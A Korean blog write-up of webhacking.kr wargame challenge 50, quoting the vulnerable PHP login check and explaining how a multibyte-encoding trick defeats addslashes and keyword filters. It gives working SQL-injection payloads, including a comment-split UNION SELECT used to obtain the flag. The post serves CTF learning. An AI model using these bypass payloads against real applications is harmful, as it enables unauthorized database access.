SQLi 공격이 문제가 나왔다.

 

if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
}

코드를 보니, id와 pw에 대한 검증이 많이 있었다.


# ID 검증
$_GET['id'] = addslashes($_GET['id']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
if(preg_match("/union/i",$_GET['id'])) exit();

# PW 검증
$_GET['pw'] = addslashes($_GET['pw']);

# ID와 PW 검증
foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();

ID 검증

  • addslashes 함수 : ', ", \, NULL 바이트 -> \', \", \\, \0\0
  • preg_match 함수 : union

지금까지는 못봤던, mb_convert_encoding 함수가 보였다.

해당 mb_convert_encoding($_GET['id'],'utf-8','euc-kr')은 ID 파라미터 값을 ecu-kr에서 utf-8로 변환시켜준다.

PW 검증

  • addslashes 함수 : ', ", \, NULL 바이트 -> \', \", \\, \0\0

공통 검증

  • preg_match 함수 : from, pw, (, ), 공백, %, =, >, <

위 검증을 우회하여, SQLi 삽입 Lv의 출력을 “3”을 출력해야 Flag를 획득 할 수 있다.

 

나는 분석을 위해 PHP를 복사하여, SQL 쿼리를 찍어봤다.

일단 나는 SELCT lv FROM chall50 WHERE id='guest'#' and pw=md5('guest')를 하여, id 파라미터으로만 lv를 출력하는 것을 목표로 잡았다.

 

이를 위해 addslashes 함수를 우회하는 방법을 검색해봤다.

addslashes(), mysql_real_escape_string() 우회

 

위 블로그에 나온 원리를 이용하여, '를 사용할 수 있지만 guest 뒤에 문자가 생기기 때문에 id 파라미터으로만 lv를 출력하는 것이 안될 것이라 판단이 되었다.

 

id=%a1%27%09or%091%09like%091%23&pw=guest

위와 같은 쿼리로 id 파라미터로 1를 출력하였다.

이제 id에 lv like 3을 삽입하여 시도해봤다.

결과는 아무 값도 반환되지 않아서 Wrong이 출력되었다.

 

직접해보면, 잘 작동이 되는데 이상했다.
“혹시 DB에 lv의 값이 3인 데이터가 없는 것이 아닐까?”라는 생각으로 이어졌다.

 

생각을 적중하였다.

그러다면, Union을 이용하여 Lv의 값을 지정하여 출력을 해야한다.

Union을 사용하기 위해 id 파라미터는 union에 대한 검증이 있으므로, pw 파라미터를 이용하기로 하였다.

하지만 md5 함수로 묶어져 있기 때문에 이를 무력화 시켜야 Union를 삽입시킬 수 있을 것 같다.

그래서 구글에 “PHP SQL Injection 주석”이라고 검색하니, 다양한 SQLi 공격 치트를 정리한 블로그를 발견할 수 있었다.

IT Security :: SQL Injection 우회 정리
여기서 주석 부분을 보니, HTML 주석을 이용하여 쿼리문 중간을 주석처리를 하는 것을 볼 수 있었다.
이를 이용하고자 하였다.

 

이렇게 가운데를 주석처리를 하면, SELECT lv FROM chall50 WHERE id='?' UNION SELECT 3으로 됨으로 반환값은 3이 나올 것으로 판단이 되었다.

 

id=%a1%27%2f%2a&pw=%2a%2funion%09select%093%23

내가 생각했던 방법이 맞았는지 Flag를 획득할 수 있었다.

'워게임 > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] Old - 22 Write Up  (0) 2021.06.07
[Webhacking.kr] Old - 2 Write Up  (0) 2021.06.04
[Webhacking.kr] Old - 55 Write Up  (0) 2021.06.02
[Webhacking.kr] Old - 52 Write Up  (0) 2021.06.01
[Webhacking.kr] Old - 34 Write Up  (0) 2021.05.31
복사했습니다!